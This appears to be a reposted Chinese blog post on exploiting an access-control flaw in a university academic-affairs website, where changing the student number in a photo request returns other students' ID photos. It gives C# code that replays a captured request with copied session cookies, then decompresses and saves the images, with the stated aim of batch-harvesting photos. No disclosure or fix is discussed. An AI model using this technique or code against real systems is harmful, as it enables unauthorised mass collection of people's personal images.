【经验】对教务处网站的抓包分析并GET教务处照片

来源:互联网 发布:java servlet 编辑:程序博客网 时间:2024/05/16 19:53

某校教务处网站一直存在这样一个漏洞:


在“在校照片”上通过firefox或是chrome的审查元素可以看到

在校照片的获取其实是通过一个asp动态请求,更重要的是,这xh的值正是学生的学号。

于是我们萌生出一个想法,可不可以通过改掉学号的值,获取到别人的照片。经过试验,这方法是可行的,我们真的可以得到另一个人的照片。

然而这种方式一次只能查一个人的照片,我们有没有可能利用这个asp请求来批量GET照片?

所以我们先来看这个asp请求的具体内容吧:(学号是随便给的存在的真实学号)



我们可以看到Request请求的全部headers(事实上是设计了 CanViewPhotoFilter这一层的,不知道为什么没有用)

于是我们通过C#来自己构造这样一个请求:

<pre name="code" class="csharp">            Stream s;
<span style="white-space:pre"></span>    id = "123456789";//此处为学号
<pre name="code" class="csharp"><span style="white-space:pre"></span>    string url = "http://XXX.XXXX.edu.cn/netean/GetPic.asp?pic=xh&xh=" + id;
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); req.Host = "XXX.XXXX.edu.cn"; req.KeepAlive = true; req.Accept = "image/webp,*/*;q=0.8"; req.UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36"; req.Referer = "http://XXX.XXXX.edu.cn/netean/com/jbqkcx.asp"; string[] headers = { "Accept-Encoding:gzip, deflate, sdch", "Accept-Language:zh-CN,zh;q=0.8", "Cookie:LogonType=%B0%E0%BC%B6; user=1614001; _gscu_463181622=35339685ndywrf11; ASP.NET_SessionId=axdqvh55vr5wn1jeqizbdxzo; ASPSESSIONIDCSDCCTDD=DAEMCKLCGHJJLMKLCPJOBKOK; CanViewPhotoFilter=161430209; DedHasLogin=1", };//完全复制request headers的内容foreach (string header in headers) req.Headers.Add(header);

<span style="white-space:pre">req.Method = </span>"GET"<span style="white-space:pre">;</span>
<span style="white-space:pre"></span>    try            {                HttpWebResponse res = (HttpWebResponse)req.GetResponse();                DisplayResponse(res, id);            }            catch (Exception e)            {                Console.WriteLine(e.Message);                throw new Exception("获取失败\n");            }            req.Abort();
<span style="white-space:pre"></span>  res.Close();


值得一提的是,这里的最后两句话是必须要有的,否则当重复调用这段代码时会出现第三次GET必定超时的结果(我也不知道为什么)。


然而……

第一次跑完之后得到了一堆乱码,既不是png也不是html,于是我们自已研究返回的response发现:

  1. Content-Encoding:
    gzip
也就是说,这是经过gzip压缩的数据。

于是我们用以下这段代码进行解压

<span style="white-space:pre"></span>FileStream fs = new FileStream(filePath, FileMode.Create);                GZipStream gzip = new GZipStream(stream, CompressionMode.Decompress);                byte[] bytes = new byte[1024];                int len = 0;                if ((len = gzip.Read(bytes, 0, bytes.Length)) > 0)                {                    fs.Write(bytes, 0, len);                }                else                {                    fs.Close();                    File.Delete(filePath);                    throw new Exception();                }                while ((len = gzip.Read(bytes, 0, bytes.Length)) > 0)                {                    fs.Write(bytes, 0, len);                }

将得到的fs以png格式保存,大功告成~



0 0
原创粉丝点击